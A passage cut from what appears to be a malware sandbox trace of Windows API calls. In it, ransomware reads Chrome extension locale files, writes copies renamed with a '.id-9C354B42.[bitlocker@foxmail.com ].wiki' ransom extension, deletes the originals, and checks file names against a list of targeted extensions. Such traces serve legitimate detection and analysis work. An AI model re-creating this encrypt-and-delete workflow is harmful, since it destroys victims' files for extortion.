halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.262] GetLastError () returned 0x0 [0175.262] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd0, lpOverlapped=0x0) returned 1 [0175.263] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.264] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.264] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.264] SetEndOfFile (hFile=0x1b4) returned 1 [0175.264] CloseHandle (hObject=0x1b4) returned 1 [0175.264] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.264] SetEndOfFile (hFile=0x1ac) returned 1 [0175.265] CloseHandle (hObject=0x1ac) returned 1 [0175.265] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.265] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json")) returned 1 [0175.265] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.265] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.265] lstrlenW (lpString=".doc") returned 4 [0175.266] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.266] lstrlenW (lpString=".docx") returned 5 [0175.266] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.266] lstrlenW (lpString=".pdf") returned 4 [0175.266] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.266] lstrlenW (lpString=".xls") returned 4 [0175.266] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.266] lstrlenW (lpString=".xlsx") returned 5 [0175.266] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.266] lstrlenW (lpString=".ppt") returned 4 [0175.266] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.266] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.266] lstrlenW (lpString=".zip") returned 4 [0175.266] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.266] lstrlenW (lpString=".rar") returned 4 [0175.266] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.266] lstrlenW (lpString=".bz2") returned 4 [0175.266] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.266] lstrlenW (lpString=".7z") returned 3 [0175.266] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.266] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.266] lstrlenW (lpString=".dbf") returned 4 [0175.266] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.266] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.266] lstrlenW (lpString=".1cd") returned 4 [0175.266] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.266] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.266] lstrlenW (lpString=".jpg") returned 4 [0175.266] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.266] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.267] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.267] lstrlenW (lpString=".doc") returned 4 [0175.267] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.267] lstrlenW (lpString=".docx") returned 5 [0175.267] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.267] lstrlenW (lpString=".pdf") returned 4 [0175.267] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.267] lstrlenW (lpString=".xls") returned 4 [0175.267] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.267] lstrlenW (lpString=".xlsx") returned 5 [0175.267] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.267] lstrlenW (lpString=".ppt") returned 4 [0175.267] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.267] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.267] lstrlenW (lpString=".zip") returned 4 [0175.267] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.267] lstrlenW (lpString=".rar") returned 4 [0175.267] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.267] lstrlenW (lpString=".bz2") returned 4 [0175.267] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.267] lstrlenW (lpString=".7z") returned 3 [0175.267] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.267] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.267] lstrlenW (lpString=".dbf") returned 4 [0175.267] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.267] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.267] lstrlenW (lpString=".1cd") returned 4 [0175.267] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.267] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 151 [0175.268] lstrlenW (lpString=".jpg") returned 4 [0175.268] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.268] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.268] lstrlenW (lpString="messages.json") returned 13 [0175.268] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.268] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=221) returned 1 [0175.268] CloseHandle (hObject=0x1ac) returned 1 [0175.268] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json")) returned 0x2020 [0175.268] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.269] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.269] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.269] GetLastError () returned 0x0 [0175.269] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xdd, lpOverlapped=0x0) returned 1 [0175.270] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.271] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.271] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.271] SetEndOfFile (hFile=0x1b4) returned 1 [0175.271] CloseHandle (hObject=0x1b4) returned 1 [0175.271] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.271] SetEndOfFile (hFile=0x1ac) returned 1 [0175.272] CloseHandle (hObject=0x1ac) returned 1 [0175.272] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.272] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json")) returned 1 [0175.273] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.273] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.273] lstrlenW (lpString=".doc") returned 4 [0175.273] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.273] lstrlenW (lpString=".docx") returned 5 [0175.273] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.273] lstrlenW (lpString=".pdf") returned 4 [0175.273] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.273] lstrlenW (lpString=".xls") returned 4 [0175.273] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.273] lstrlenW (lpString=".xlsx") returned 5 [0175.273] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.273] lstrlenW (lpString=".ppt") returned 4 [0175.273] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.273] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.273] lstrlenW (lpString=".zip") returned 4 [0175.273] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.273] lstrlenW (lpString=".rar") returned 4 [0175.273] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.273] lstrlenW (lpString=".bz2") returned 4 [0175.273] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.273] lstrlenW (lpString=".7z") returned 3 [0175.273] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.273] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.273] lstrlenW (lpString=".dbf") returned 4 [0175.273] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.274] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.274] lstrlenW (lpString=".1cd") returned 4 [0175.274] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.274] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.274] lstrlenW (lpString=".jpg") returned 4 [0175.274] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.274] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.274] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.274] lstrlenW (lpString=".doc") returned 4 [0175.274] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.274] lstrlenW (lpString=".docx") returned 5 [0175.274] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.274] lstrlenW (lpString=".pdf") returned 4 [0175.274] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.274] lstrlenW (lpString=".xls") returned 4 [0175.274] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.274] lstrlenW (lpString=".xlsx") returned 5 [0175.274] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.274] lstrlenW (lpString=".ppt") returned 4 [0175.274] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.274] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.274] lstrlenW (lpString=".zip") returned 4 [0175.274] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.274] lstrlenW (lpString=".rar") returned 4 [0175.274] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.274] lstrlenW (lpString=".bz2") returned 4 [0175.274] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.274] lstrlenW (lpString=".7z") returned 3 [0175.274] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.274] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.275] lstrlenW (lpString=".dbf") returned 4 [0175.275] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.275] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.275] lstrlenW (lpString=".1cd") returned 4 [0175.275] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.275] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 151 [0175.275] lstrlenW (lpString=".jpg") returned 4 [0175.275] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.275] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.275] lstrlenW (lpString="messages.json") returned 13 [0175.275] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.275] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=191) returned 1 [0175.438] CloseHandle (hObject=0x1ac) returned 1 [0175.438] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json")) returned 0x2020 [0175.438] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.438] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.438] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.439] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.439] GetLastError () returned 0x0 [0175.439] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xbf, lpOverlapped=0x0) returned 1 [0175.440] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0175.441] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.441] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.441] SetEndOfFile (hFile=0x19c) returned 1 [0175.441] CloseHandle (hObject=0x19c) returned 1 [0175.441] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.441] SetEndOfFile (hFile=0x1ac) returned 1 [0175.442] CloseHandle (hObject=0x1ac) returned 1 [0175.442] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.442] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json")) returned 1 [0175.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.443] lstrlenW (lpString=".doc") returned 4 [0175.443] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.443] lstrlenW (lpString=".docx") returned 5 [0175.443] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.443] lstrlenW (lpString=".pdf") returned 4 [0175.443] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.443] lstrlenW (lpString=".xls") returned 4 [0175.443] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.443] lstrlenW (lpString=".xlsx") returned 5 [0175.443] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.443] lstrlenW (lpString=".ppt") returned 4 [0175.443] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 151 [0175.443] lstrlenW (lpString=".zip") returned 4 [0175.443] lstrcmpiW (lpString1=".zip", lpString2="json") 